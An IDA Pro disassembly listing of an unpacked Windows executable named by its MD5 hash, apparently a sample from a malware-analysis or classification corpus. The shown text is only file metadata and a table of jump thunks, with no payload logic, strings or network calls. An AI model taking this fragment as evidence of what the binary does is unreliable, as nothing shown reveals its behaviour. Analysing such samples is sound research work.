;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	E0EB8646EE3E9D0B64A8B9A68ACF3A38

; File Name   :	u:\work\e0eb8646ee3e9d0b64a8b9a68acf3a38_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00110000 (1114112.)
; Section size in file		: 00110000 (1114112.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		db 5 dup(0CCh)
; ---------------------------------------------------------------------------
		jmp	loc_42F630
; ---------------------------------------------------------------------------


loc_40100A:				; DATA XREF: ___:off_43E09Co
		jmp	loc_412CB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40100F	proc near		; CODE XREF: sub_421AF0+29p
		jmp	sub_422050
sub_40100F	endp

; ---------------------------------------------------------------------------
		jmp	loc_431250
; ---------------------------------------------------------------------------
		jmp	loc_420DA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40101E	proc near		; CODE XREF: ___:004118E3p
		jmp	sub_411910
sub_40101E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401023	proc near		; CODE XREF: ___:0040B1BDp
					; ___:0040B1CAp ...
		jmp	sub_403C00
sub_401023	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401028	proc near		; CODE XREF: sub_41FA90+34p
		jmp	sub_40B000
sub_401028	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40102D	proc near		; CODE XREF: sub_404C70+619p
					; sub_404C70+6D8p ...
		jmp	sub_40A030
sub_40102D	endp

; ---------------------------------------------------------------------------
		jmp	sub_42A100

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401037	proc near		; CODE XREF: sub_413510+3Bp
					; ___:00414B30p
		jmp	sub_4155E0
sub_401037	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40103C	proc near		; CODE XREF: sub_42F840+6Ep
					; sub_42F840+8Ap ...
		jmp	sub_432FE0
sub_40103C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401041	proc near		; CODE XREF: ___:0042EF22p
					; sub_42F840+3Fp ...
		jmp	sub_432E60
sub_401041	endp

; ---------------------------------------------------------------------------
		jmp	loc_423940

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40104B	proc near
		jmp	sub_40D130
sub_40104B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401050	proc near		; CODE XREF: sub_40B000+3Ap
					; sub_40B070+1Ap
		jmp	sub_432980
sub_401050	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401055	proc near		; CODE XREF: sub_41E660+37Bp
		jmp	sub_421C30
sub_401055	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105A	proc near		; CODE XREF: sub_40C0C0+8p
		jmp	sub_40C280
sub_40105A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105F	proc near		; CODE XREF: sub_431900+5Ap
					; sub_433710+50p
		jmp	sub_4318C0
sub_40105F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401064	proc near		; DATA XREF: ___:off_43E07Co
		jmp	sub_41C610
sub_401064	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401069	proc near		; CODE XREF: ___:00416EAAp
		jmp	sub_41FBD0
sub_401069	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40106E	proc near		; CODE XREF: sub_40BF60+32p
		jmp	sub_40C120
sub_40106E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401073	proc near		; CODE XREF: ___:00416EBAp
		jmp	sub_418290
sub_401073	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401078	proc near		; CODE XREF: sub_415830+5Ep
					; sub_416280+32p
		jmp	sub_4161C0
sub_401078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40107D	proc near		; CODE XREF: sub_41E660+161p
					; sub_4223E0+3p
		jmp	sub_421A50
sub_40107D	endp

; ---------------------------------------------------------------------------
		jmp	loc_41ACE0
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40108C	proc near		; CODE XREF: sub_421C30+3p
					; ___:00421FFFp ...
		jmp	sub_422170
sub_40108C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401091	proc near		; CODE XREF: sub_40C400+43p
		jmp	sub_40CAD0
sub_401091	endp

; ---------------------------------------------------------------------------
		jmp	sub_427FF0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40109B	proc near		; CODE XREF: sub_407570+Ap
		jmp	sub_407610
sub_40109B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A0	proc near		; CODE XREF: sub_4245F0+23p
					; sub_424790+6p ...
		jmp	sub_424500
sub_4010A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A5	proc near		; CODE XREF: sub_430C00+F5p
					; sub_430C00+14Fp
		jmp	sub_432DF0
sub_4010A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AA	proc near		; CODE XREF: sub_4331D0+C8p
		jmp	sub_430990
sub_4010AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AF	proc near		; DATA XREF: ___:0043E174o
		jmp	sub_429DC0
sub_4010AF	endp

; ---------------------------------------------------------------------------


loc_4010B4:				; DATA XREF: ___:off_43E0A0o
		jmp	loc_41E2C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010B9	proc near		; CODE XREF: sub_418330+D0p
					; sub_418490+2Dp
		jmp	sub_418A20
sub_4010B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010BE	proc near		; CODE XREF: sub_40FF60+8D9p
					; sub_40FF60+990p ...
		jmp	sub_411860
sub_4010BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C3	proc near		; CODE XREF: ___:0042F336p
					; ___:0042F3A4p ...
		jmp	sub_430F00
sub_4010C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C8	proc near		; CODE XREF: sub_421D50+9p
					; sub_422240+18p
		jmp	sub_4223C0
sub_4010C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010CD	proc near		; CODE XREF: sub_40A9F0+58p
					; sub_40A9F0+82p ...
		jmp	sub_40ABE0
sub_4010CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D2	proc near		; CODE XREF: sub_422A40+3F1p
					; ___:00423AA6p ...
		jmp	sub_419AE0
sub_4010D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010D7	proc near		; CODE XREF: sub_416010+7p
		jmp	sub_416640
sub_4010D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010DC	proc near		; CODE XREF: sub_415520+4Fp
					; sub_415E70+11p ...
		jmp	sub_4160C0
sub_4010DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E1	proc near		; CODE XREF: sub_429C30+58p
		jmp	sub_429AA0
sub_4010E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010E6	proc near		; CODE XREF: sub_421870+1Fp
		jmp	sub_421CB0
sub_4010E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010EB	proc near		; CODE XREF: sub_421FB0+11p
					; ___:00421FD7p ...
		jmp	sub_4224D0
sub_4010EB	endp

; ---------------------------------------------------------------------------
		jmp	loc_413D60

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010F5	proc near		; CODE XREF: sub_421A30+3p
					; ___:00421D9Fp ...
		jmp	sub_421F10
sub_4010F5	endp

; ---------------------------------------------------------------------------
		jmp	loc_414400

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010FF	proc near		; CODE XREF: sub_426F20+3p
		jmp	sub_426F50
sub_4010FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401104	proc near		; CODE XREF: sub_415A00+11p
					; ___:00415A27p ...
		jmp	sub_416470
sub_401104	endp

; ---------------------------------------------------------------------------
		jmp	loc_433310

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40110E	proc near		; CODE XREF: sub_421B60+5p
					; sub_421C50+6p ...
		jmp	sub_422150
sub_40110E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401113	proc near		; CODE XREF: ___:00416A5Bp
					; ___:00439F5Ej ...
		jmp	sub_417A60
sub_401113	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401118	proc near		; CODE XREF: sub_404C70+6Ap
					; sub_404C70+1AFp ...
		jmp	sub_412970
sub_401118	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40111D	proc near		; DATA XREF: ___:off_43E074o
		jmp	sub_4192C0
sub_40111D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401122	proc near		; CODE XREF: sub_431A20+6p
					; ___:00431A33p ...
		jmp	sub_42F480
sub_401122	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E3D0
; ---------------------------------------------------------------------------


loc_40112C:				; DATA XREF: ___:off_43E15Co
		jmp	loc_429A30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401131	proc near		; CODE XREF: ___:00423C9Dp
		jmp	sub_423760
sub_401131	endp

; ---------------------------------------------------------------------------
		jmp	loc_431F50

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40113B	proc near		; CODE XREF: ___:004150A8p
		jmp	sub_415990
sub_40113B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401140	proc near		; CODE XREF: sub_41B950+F7p
					; sub_41B950+10Bp ...
		jmp	sub_409EA0
sub_401140	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401145	proc near		; CODE XREF: sub_409910+Ap
		jmp	sub_409A00
sub_401145	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114A	proc near		; CODE XREF: sub_4133D0+55p
					; sub_4133D0+94p ...
		jmp	sub_415770
sub_40114A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114F	proc near		; CODE XREF: sub_425020+183p
		jmp	sub_4235F0
sub_40114F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401154	proc near		; CODE XREF: ___:00414BBEp
		jmp	sub_415520
sub_401154	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401159	proc near		; CODE XREF: sub_427600+3p
		jmp	sub_427630
sub_401159	endp

; ---------------------------------------------------------------------------


loc_40115E:				; DATA XREF: ___:off_43E038o
		jmp	loc_4118E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401163	proc near		; CODE XREF: sub_415DD0+11p
					; ___:00415DF7p ...
		jmp	sub_4165F0
sub_401163	endp

; ---------------------------------------------------------------------------
		jmp	loc_41D730

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40116D	proc near		; CODE XREF: sub_418B10+23p
					; sub_418D80+11p
		jmp	sub_418E60
sub_40116D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401172	proc near		; CODE XREF: sub_418A90+3p
					; sub_418E90+54p ...
		jmp	sub_418CE0
sub_401172	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401177	proc near		; CODE XREF: sub_409600+6Ap
					; sub_409600+103p
		jmp	sub_4098A0
sub_401177	endp

; ---------------------------------------------------------------------------
		jmp	loc_432840

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401181	proc near		; CODE XREF: ___:00413D7Dp
		jmp	sub_413B70
sub_401181	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401186	proc near		; CODE XREF: ___:0041A1E4p
		jmp	sub_41AFE0
sub_401186	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40118B	proc near		; CODE XREF: sub_4133D0+88p
					; sub_4147D0+BFp ...
		jmp	sub_415930
sub_40118B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401190	proc near		; CODE XREF: sub_42F480+7p
					; sub_42F4F0+19p ...
		jmp	sub_4338B0
sub_401190	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401195	proc near
		jmp	sub_40DB10
sub_401195	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40119A	proc near		; CODE XREF: ___:004310AAp
		jmp	sub_430A50
sub_40119A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40119F	proc near		; CODE XREF: sub_4071E0+11p
					; sub_407370+1Fp
		jmp	sub_407410
sub_40119F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A4	proc near		; CODE XREF: sub_4036D0+3B5p
					; sub_4036D0+3C5p ...
		jmp	sub_403E00
sub_4011A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A9	proc near		; CODE XREF: sub_421C10+3p
		jmp	sub_422190
sub_4011A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011AE	proc near		; CODE XREF: sub_40C250+Ap
		jmp	sub_40C310
sub_4011AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011B3	proc near		; CODE XREF: sub_4036D0+1Dp
					; sub_407030+1Fp ...
		jmp	sub_403C70
sub_4011B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011B8	proc near		; CODE XREF: ___:00413274p
					; ___:0043998Cj ...
		jmp	sub_4153B0
sub_4011B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011BD	proc near		; CODE XREF: sub_42B350+3p
		jmp	sub_42B380
sub_4011BD	endp

; ---------------------------------------------------------------------------
		jmp	loc_40AF00

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011C7	proc near		; CODE XREF: ___:00414BCDp
		jmp	sub_414C70
sub_4011C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011CC	proc near		; CODE XREF: sub_407610+7p
					; sub_409A00+7p ...
		jmp	sub_407640
sub_4011CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D1	proc near		; CODE XREF: sub_413510+73p
					; ___:00414B6Dp ...
		jmp	sub_415600
sub_4011D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D6	proc near		; CODE XREF: sub_41E660+58p
		jmp	sub_420530
sub_4011D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011DB	proc near		; CODE XREF: sub_413DA0+84p
		jmp	sub_4137E0
sub_4011DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E0	proc near		; CODE XREF: ___:00432428p
		jmp	sub_42FD70
sub_4011E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E5	proc near		; CODE XREF: sub_4074C0+8p
		jmp	sub_4075A0
sub_4011E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011EA	proc near		; CODE XREF: sub_404C70+9Fp
					; sub_404C70+230p ...
		jmp	sub_40A430
sub_4011EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011EF	proc near		; CODE XREF: sub_40A790+21p
					; sub_40A9F0+A5p
		jmp	sub_40A9D0
sub_4011EF	endp

; ---------------------------------------------------------------------------
		jmp	loc_40AF70

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011F9	proc near		; CODE XREF: sub_40A430+129p
					; sub_40A810+4p ...
		jmp	sub_40A7E0
sub_4011F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011FE	proc near		; DATA XREF: ___:off_43E0DCo
		jmp	sub_426650
sub_4011FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401203	proc near		; CODE XREF: ___:004322BDp
		jmp	sub_42FA70
sub_401203	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401208	proc near		; CODE XREF: sub_4072F0+3p
					; ___:004073BFp ...
		jmp	sub_407480
sub_401208	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40120D	proc near		; CODE XREF: sub_41D830+346p
					; sub_41D830+410p ...
		jmp	sub_421870
sub_40120D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401212	proc near		; CODE XREF: sub_421AB0+11p
					; sub_421FB0+1Fp
		jmp	sub_4220E0
sub_401212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401217	proc near		; CODE XREF: sub_42B4F0+3p
		jmp	sub_42B520
sub_401217	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40121C	proc near
		jmp	sub_407790
sub_40121C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401221	proc near		; CODE XREF: sub_40C120+5Fp
		jmp	sub_40C2F0
sub_401221	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401226	proc near		; CODE XREF: sub_4034E0+F6p
					; sub_4034E0+12Ep ...
		jmp	sub_409C30
sub_401226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40122B	proc near		; CODE XREF: sub_41E660+113p
					; sub_41E660+124p
		jmp	sub_421A30
sub_40122B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401230	proc near		; DATA XREF: ___:0043E060o
		jmp	sub_41F860
sub_401230	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401235	proc near		; CODE XREF: ___:00416AFBp
					; ___:00439ED2j ...
		jmp	sub_4176B0
sub_401235	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40123A	proc near		; CODE XREF: sub_40AEC0+Fp
		jmp	sub_42FF50
sub_40123A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40123F	proc near		; CODE XREF: sub_418B10+32p
		jmp	sub_418D80
sub_40123F	endp

; ---------------------------------------------------------------------------
		jmp	loc_433570

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401249	proc near		; CODE XREF: sub_415420+5p
					; sub_415620+6p ...
		jmp	sub_416030
sub_401249	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40124E	proc near		; CODE XREF: sub_40BCB0+29p
					; sub_40BDD0+29p
		jmp	sub_40BF60
sub_40124E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401253	proc near		; CODE XREF: sub_41E660+3E9p
					; ___:0043B1ABj
		jmp	sub_421AF0
sub_401253	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401258	proc near		; CODE XREF: sub_4144D0+BFp
		jmp	sub_415210
sub_401258	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40125D	proc near		; CODE XREF: sub_4164E0+Ap
		jmp	sub_416820
sub_40125D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401262	proc near		; CODE XREF: ___:00416B67p
					; ___:00439E73j ...
		jmp	sub_416FB0
sub_401262	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401267	proc near
		jmp	sub_418330
sub_401267	endp

; ---------------------------------------------------------------------------
		jmp	sub_416C30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401271	proc near		; CODE XREF: ___:00416E1Fp
		jmp	sub_417FD0
sub_401271	endp

; ---------------------------------------------------------------------------
		jmp	loc_414690
; ---------------------------------------------------------------------------
		jmp	loc_42F030

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401280	proc near		; CODE XREF: sub_40FF60+387p
					; sub_41EF30+21Dp ...
		jmp	sub_41B6E0
sub_401280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401285	proc near		; CODE XREF: ___:00416E5Ap
		jmp	sub_418180
sub_401285	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40128A	proc near		; CODE XREF: sub_409490+8p
		jmp	sub_4094E0
sub_40128A	endp

; ---------------------------------------------------------------------------
		jmp	loc_429A30

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401294	proc near		; CODE XREF: sub_409600+A5p
					; sub_412BC0+21p
		jmp	sub_409810
sub_401294	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401299	proc near		; CODE XREF: sub_404C70+385p
					; sub_41D830+5AAp
		jmp	sub_41C030
sub_401299	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40129E	proc near		; CODE XREF: ___:00416D6Fp
		jmp	sub_4036D0
sub_40129E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A3	proc near		; CODE XREF: sub_418BC0+23p
					; sub_418E90+11p
		jmp	sub_418FE0
sub_4012A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A8	proc near		; CODE XREF: sub_424840+Cp
					; sub_424840+3Ep ...
		jmp	sub_424330
sub_4012A8	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F670

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B2	proc near		; CODE XREF: sub_404C70+860p
					; sub_404C70+ADCp ...
		jmp	sub_40A290
sub_4012B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B7	proc near		; CODE XREF: ___:0042EB16p
					; ___:0042EB66p ...
		jmp	sub_431490
sub_4012B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012BC	proc near		; CODE XREF: sub_41E660+367p
					; sub_41E660+3D4p ...
		jmp	sub_421C80
sub_4012BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C1	proc near		; DATA XREF: sub_426A60+107o
		jmp	sub_426CE0
sub_4012C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C6	proc near		; CODE XREF: sub_424720+18p
					; sub_424760+Ap ...
		jmp	sub_4246D0
sub_4012C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012CB	proc near		; CODE XREF: sub_416120+9p
					; sub_4161C0+18p
		jmp	sub_4167D0
sub_4012CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012D0	proc near		; DATA XREF: sub_431280+32o
		jmp	sub_431A80
sub_4012D0	endp

; ---------------------------------------------------------------------------
		jmp	loc_42EB60
; ---------------------------------------------------------------------------
		jmp	loc_419BB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012DF	proc near		; CODE XREF: sub_429AA0+67p
		jmp	sub_41FEF0
sub_4012DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4012E4	proc near		; CODE XREF: ___:0042EEF8p
					; sub_42F0B0+2p ...
		jmp	sub_430270
sub_4012E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012E9	proc near		; CODE XREF: sub_413670+3Fp
					; sub_4144D0+40p ...
		jmp	sub_415160
sub_4012E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012EE	proc near		; CODE XREF: sub_404640+19Fp
					; sub_404640+212p ...
		jmp	sub_409EF0
sub_4012EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F3	proc near		; CODE XREF: sub_424E90+B5p
					; sub_424E90+F1p
		jmp	sub_424E20
sub_4012F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F8	proc near		; CODE XREF: sub_425020+127p
		jmp	sub_424E90
sub_4012F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012FD	proc near		; CODE XREF: ___:00416E3Ap
		jmp	sub_418080
sub_4012FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401302	proc near		; CODE XREF: ___:00416E0Fp
		jmp	sub_417F10
sub_401302	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401307	proc near		; CODE XREF: sub_4303D0+1p
		jmp	sub_430460
sub_401307	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40130C	proc near		; CODE XREF: ___:00425F11p
		jmp	sub_426450
sub_40130C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401311	proc near		; CODE XREF: sub_418330+71p
					; sub_418330+BBp ...
		jmp	sub_4189F0
sub_401311	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401316	proc near		; CODE XREF: sub_40A0A0+7p
		jmp	sub_40A0C0
sub_401316	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40131B	proc near		; CODE XREF: ___:004316D8p
					; sub_431730+2Bp
		jmp	sub_431900
sub_40131B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401320	proc near		; CODE XREF: sub_431280+1p
		jmp	sub_4314C0
sub_401320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401325	proc near		; CODE XREF: sub_4207E0+37Bp
		jmp	sub_421BD0
sub_401325	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40132A	proc near		; CODE XREF: sub_414360+5Bp
		jmp	sub_415030
sub_40132A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40132F	proc near		; CODE XREF: sub_4153B0+29p
					; sub_4154D0+29p
		jmp	sub_415F30
sub_40132F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401334	proc near		; CODE XREF: ___:00435F42p
					; ___:00435F52p ...
		jmp	sub_435E00
sub_401334	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401339	proc near		; CODE XREF: sub_4133D0+5Fp
					; sub_4133D0+9Ep ...
		jmp	sub_415960
sub_401339	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40133E	proc near		; CODE XREF: sub_40B520+62p
					; ___:0040B9E8p ...
		jmp	sub_40BE60
sub_40133E	endp

; ---------------------------------------------------------------------------
		jmp	loc_4300C0
; ---------------------------------------------------------------------------
		jmp	loc_42EC40

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40134D	proc near		; DATA XREF: ___:0043E1A8o
		jmp	sub_42B3A0
sub_40134D	endp

; ---------------------------------------------------------------------------
		jmp	loc_42B2E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401357	proc near		; CODE XREF: sub_416090+8p
		jmp	sub_4166B0
sub_401357	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40135C	proc near		; CODE XREF: sub_4133D0+71p
					; sub_4133D0:loc_41349Cp ...
		jmp	sub_415910
sub_40135C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401361	proc near		; CODE XREF: sub_418330+AFp
					; sub_418FE0+3p
		jmp	sub_418AB0
sub_401361	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401366	proc near		; DATA XREF: ___:0043E104o
		jmp	sub_426A60
sub_401366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40136B	proc near		; CODE XREF: sub_40B520+39p
					; sub_40B520+78p ...
		jmp	sub_40BE90
sub_40136B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401370	proc near		; CODE XREF: sub_4257A0+29p
					; sub_4257A0+38p
		jmp	sub_4256B0
sub_401370	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401375	proc near		; CODE XREF: sub_41A500+1Cp
		jmp	sub_41A540
sub_401375	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40137A	proc near		; DATA XREF: ___:0043E164o
		jmp	sub_429C30
sub_40137A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40137F	proc near		; CODE XREF: ___:00408BD9p
					; ___:00414481p
		jmp	sub_414230
sub_40137F	endp


